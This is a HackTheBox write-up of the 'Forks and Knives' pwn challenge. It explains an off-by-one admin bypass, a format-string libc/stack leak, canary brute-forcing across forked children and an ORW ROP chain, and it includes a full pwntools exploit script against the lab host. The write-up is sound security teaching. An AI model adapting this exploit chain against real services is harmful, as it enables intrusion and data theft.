pwnfreehard

Forks and Knives

hackthebox

Task: a forked Linux TCP service with PIE, NX, canary, Full RELRO, an off-by-one admin bypass, a reservation format string, and a staged stack overflow. Solution: use the NUL overwrite to reach manager functions, leak libc and stack via fprintf, brute-force the shared canary across forked children, recover the randomized flag filename with getdents64, then finish with an ORW ROP chain.

$ ls tags/ techniques/
off_by_one_admin_bypassformat_string_libc_leakfork_canary_bruteforcestack_overflow_roporw_ropgetdents64_filename_recovery

Forks and Knives — HackTheBox

Description

Welcome to the Forks & Knives restaurant!

This was a forked TCP pwn service, not a web task. The binary exposed a restaurant menu over the network and kept per-client state such as the user name, reservations, and order data.

Remote target: 154.57.164.78:30845.

Files:

  • server
  • libc.so.6
  • Dockerfile

Recon

The first useful strings immediately showed the challenge shape:

  • Welcome to the Forks & Knives restaurant!
  • Can I have your name please?
  • Reserve a table
  • Place an order
  • Login as manager
  • View reservations
  • Clear reservations

That made it clear this was a classic menu-driven Linux service. There was no HTTP parsing anywhere, and the target itself behaved like a forked TCP daemon: every incoming connection got a fresh child process.

checksec on the binary:

ProtectionStatus
PIEEnabled
NXEnabled
CanaryEnabled
RELROFull

So the exploitation plan had to avoid GOT overwrites and needed either a canary leak or a reliable canary bypass. Because the service forks, the stack canary is inherited by children, which turned brute force into a viable primitive.

Reversing Findings

Global state

The early input handler stores the customer name in a global buffer:

  • name at 0x4030
  • adjacent admin flag at 0x4040

The name logic reads up to 16 bytes and then writes a trailing \0 at name[len].

That is safe for lengths 0..15, but exactly 16 bytes makes the terminator land one byte past the buffer, on top of the neighboring auth state.

Bug 1 — off-by-one NUL admin bypass

If we send exactly 16 bytes as the initial name, the terminator is written to 0x4040 and clears the adjacent admin flag. In this program that flipped the manager check in our favor, so the manager-only menu entries became reachable without any real login.

This was the first stage of the chain because the format-string bug lived behind the reservation/manager flow.

Bug 2 — format string in reservation writer

The reservation path asks:

How many people would you like to reserve the table for?

That value is read into a tiny 4-byte stack buffer, then embedded with:

snprintf(user_buf, ..., "Table for %s\n", input);

So far this is fine. The bug appears one step later when the resulting string is written with:

fprintf(file, user_buf);

Instead of treating user_buf as plain data, it becomes the format string for fprintf. Since manager access lets us view the saved reservations afterwards, we can plant %p specifiers and recover pointers from the child process.

The two leaks that mattered were:

  • %2$p → libc pointer to lseek64+0xb
  • %1$p → stack pointer inside the current frame

Known libc relation:

lseek64 = 0x114910 lseek64 + 0xb = 0x11491b

So:

libc_base = leak_%2$p - 0x11491b

The stack leak gave a stable way to compute the future order buffer address:

order_buf = stack_leak - 0xe0

That was important because the final payload did not spawn an interactive shell. Instead, it used ORW directly and needed a reliable writable pointer for filenames and file contents.

Bug 3 — staged stack overflow in the order flow

The order handler contains two reads:

  1. First read: 0x100 bytes into a local buffer at rbp-0x110
  2. Then a 2-byte y/n read at rbp-0x116
  3. If the answer is y, a second read of 0x100 bytes goes to buf + first_len

That means the program reuses the length returned by the first read as the starting point for the second write.

If we make the first read consume a full 0x100 bytes, the second destination becomes:

(rbp - 0x110) + 0x100 = rbp - 0x10

From there, the second read starts past the end of the original buffer, only 8 bytes before the canary.

Stack layout relative to the second write start:

rbp-0x10 -> second write starts here rbp-0x08 -> canary rbp+0x00 -> saved rbp rbp+0x08 -> saved rip

So the second-stage payload becomes:

8 bytes padding 8 bytes canary 8 bytes saved rbp filler ROP chain

This gave controlled RIP despite NX, PIE, canary, and Full RELRO.

Exploitation Chain

The final exploit used the following sequence:

  1. Send exactly 16 bytes as the name to NUL out the adjacent admin flag.
  2. Create a reservation containing format specifiers.
  3. View reservations and parse:
    • %2$p for libc base
    • %1$p for stack leak
  4. Compute order_buf = stack_leak - 0xe0.
  5. Brute-force the stack canary byte-by-byte across forked children.
  6. Trigger the order overflow.
  7. First use ORW + getdents64 to list the directory and recover the randomized flag filename.
  8. Run a second ORW chain to open that file and send it back through the client socket.

Canary Brute Force Across Forked Children

Because the parent process forks a child for each connection, every child inherits the same canary value. That turns crash-or-no-crash into an oracle.

Recovered canary:

00 8e eb 38 42 f7 ae 33

Little-endian 64-bit value:

0x33aef74238eb8e00

Bruteforce method:

  1. Open a fresh connection.
  2. Reapply the 16-byte name admin bypass.
  3. Enter the order flow.
  4. Send 0x100 bytes in the first order read so the second write starts at rbp-0x10.
  5. Send a second-stage payload with:
    • 8 bytes padding
    • known canary prefix + guessed next byte
  6. If the child survives and reaches the success path, the guessed byte is correct.
  7. Repeat until all 8 bytes are known.

The leading canary byte is 0x00, so only the remaining 7 bytes needed guessing.

Recovering the Randomized Flag Filename

The provided Dockerfile contains the important hint:

# RUN mv /home/ctf/flag.txt /home/ctf/flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 16).txt

So even after code execution, assuming a fixed flag.txt path would fail. The exploit first used a directory listing ROP chain.

Why getdents64

Once libc was known, ORW was enough to read arbitrary files, but we still needed the exact randomized name. getdents64 solved that cleanly:

  1. open(".", 0) or open("/home/ctf", 0)
  2. getdents64(fd, order_buf, 0x300)
  3. write(4, order_buf, 0x300)

Here 4 is the client socket descriptor in the forked child, so the directory entries are written directly back to our connection.

That revealed:

flagd816d7b5ab9c4d97.txt

Final ORW Exploit

After discovering the filename, the last chain reused the same overflow and targeted the real flag file.

High-level ROP plan:

  1. open("flagd816d7b5ab9c4d97.txt", 0)
  2. read(3, order_buf, 0x80)
  3. write(4, order_buf, 0x80)
  4. exit(0)

Why ORW instead of system("/bin/sh"):

  • It avoids dealing with TTY / interactive shell quirks.
  • It works cleanly against a forked network service.
  • The socket FD was already known to be usable for output.

Useful constants

libc leak source : lseek64+0xb libc leak offset : 0x11491b stack-derived buffer : order_buf = stack_leak - 0xe0 known socket fd : 4 canary : 0x33aef74238eb8e00

Example exploit

#!/usr/bin/env python3 from pwn import * import re HOST = "154.57.164.78" PORT = 30845 BIN_PATH = "./server" LIBC_PATH = "./libc.so.6" elf = context.binary = ELF(BIN_PATH, checksec=False) libc = ELF(LIBC_PATH, checksec=False) context.arch = "amd64" context.os = "linux" context.log_level = "info" CANARY = 0x33AEF74238EB8E00 LSEEK64_RET_OFF = 0x11491B # lseek64 + 0xb ORDER_BUF_DELTA = 0xE0 # order_buf = stack_leak - 0xe0 CLIENT_FD = 4 LISTING_PATH = b".\x00" FLAG_NAME = b"flagd816d7b5ab9c4d97.txt\x00" def start(): return remote(HOST, PORT) def menu(io, choice: int): io.recvuntil(b"Clear reservations") io.sendline(str(choice).encode()) def set_name(io, name: bytes): io.recvuntil(b"Can I have your name please?") io.send(name) def manager_bypass(io): # Exactly 16 bytes -> trailing NUL lands on adjacent admin flag. set_name(io, b"A" * 16) def reserve(io, people: bytes, saved_name: bytes = b"guest"): menu(io, 1) io.recvuntil(b"How many people would you like to reserve the table for?") io.sendline(people) io.recvuntil(b"Under what name shall we save the reservation?") io.sendline(saved_name) def view_reservations(io) -> bytes: menu(io, 5) data = io.recvuntil(b"Clear reservations", drop=True, timeout=2) return data def leak_libc_and_stack(io): reserve(io, b"%1$p.%2$p", b"chef") data = view_reservations(io) m = re.search(rb"0x([0-9a-fA-F]+)\.0x([0-9a-fA-F]+)", data) if not m: log.failure(data) raise ValueError("failed to parse reservation leaks") stack_leak = int(m.group(1), 16) libc_ret = int(m.group(2), 16) libc.address = libc_ret - LSEEK64_RET_OFF order_buf = stack_leak - ORDER_BUF_DELTA log.success(f"stack leak = {hex(stack_leak)}") log.success(f"libc leak = {hex(libc_ret)}") log.success(f"libc base = {hex(libc.address)}") log.success(f"order buf = {hex(order_buf)}") return order_buf def order(io, first: bytes, second: bytes): menu(io, 2) io.recvuntil(b"What would you like to order?") io.send(first) io.recvuntil(b"Would you like to add anything to your order? (y/n)") io.send(b"y\n") io.recvuntil(b"What else will you add to your order?") io.send(second) def build_syscall_chain(order_buf: int, dir_fd: int): rop = ROP(libc) pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address pop_rax = libc.address + rop.find_gadget(["pop rax", "ret"]).address syscall = libc.address + rop.find_gadget(["syscall", "ret"]).address chain = flat( pop_rdi, order_buf, # open(path, 0) pop_rsi, 0, libc.address + libc.sym.open, pop_rdi, dir_fd, # getdents64(dir_fd, order_buf, 0x300) pop_rsi, order_buf, pop_rdx_r12, 0x300, 0, pop_rax, 217, syscall, pop_rdi, CLIENT_FD, # write(4, order_buf, 0x300) pop_rsi, order_buf, pop_rdx_r12, 0x300, 0, libc.address + libc.sym.write, pop_rdi, 0, libc.address + libc.sym.exit, ) return chain def build_flag_chain(order_buf: int, flag_ptr: int): rop = ROP(libc) pop_rdi = libc.address + rop.find_gadget(["pop rdi", "ret"]).address pop_rsi = libc.address + rop.find_gadget(["pop rsi", "ret"]).address pop_rdx_r12 = libc.address + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address chain = flat( pop_rdi, flag_ptr, # open(flag_name, 0) pop_rsi, 0, libc.address + libc.sym.open, pop_rdi, 3, # read(3, order_buf, 0x80) pop_rsi, order_buf, pop_rdx_r12, 0x80, 0, libc.address + libc.sym.read, pop_rdi, CLIENT_FD, # write(4, order_buf, 0x80) pop_rsi, order_buf, pop_rdx_r12, 0x80, 0, libc.address + libc.sym.write, pop_rdi, 0, libc.address + libc.sym.exit, ) return chain def overflow_payload(order_buf: int, rop_chain: bytes, first_blob: bytes) -> tuple[bytes, bytes]: first = first_blob.ljust(0x100, b"A") second = flat( b"B" * 8, # second write starts at rbp-0x10 CANARY, b"C" * 8, # saved rbp rop_chain, ) return first, second def list_directory(): io = start() manager_bypass(io) order_buf = leak_libc_and_stack(io) first_blob = LISTING_PATH chain = build_syscall_chain(order_buf, 3) first, second = overflow_payload(order_buf, chain, first_blob) order(io, first, second) data = io.recvrepeat(1) io.close() return data def read_flag(): io = start() manager_bypass(io) order_buf = leak_libc_and_stack(io) flag_ptr = order_buf + 0x20 first_blob = LISTING_PATH.ljust(0x20, b"\x00") + FLAG_NAME chain = build_flag_chain(order_buf, flag_ptr) first, second = overflow_payload(order_buf, chain, first_blob) order(io, first, second) data = io.recvrepeat(1) m = re.search(rb"HTB\{[^}]+\}", data) if m: log.success(f"flag = {m.group().decode()}") else: log.failure(data) io.interactive() def brute_canary(): known = b"\x00" while len(known) < 8: for guess in range(0x100): io = start() try: manager_bypass(io) menu(io, 2) io.recvuntil(b"What would you like to order?") io.send(b"A" * 0x100) io.recvuntil(b"Would you like to add anything to your order? (y/n)") io.send(b"y\n") io.recvuntil(b"What else will you add to your order?") probe = b"B" * 8 + known + bytes([guess]) io.send(probe) out = io.recv(timeout=0.4) if b"You order has been placed!" in out or b"already placed" in out or out: known += bytes([guess]) log.success(f"canary so far: {known.hex()}") io.close() break except EOFError: pass finally: io.close() else: raise RuntimeError("failed to brute-force next canary byte") return u64(known) if __name__ == "__main__": # Optional helper: # print(list_directory()) read_flag()

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups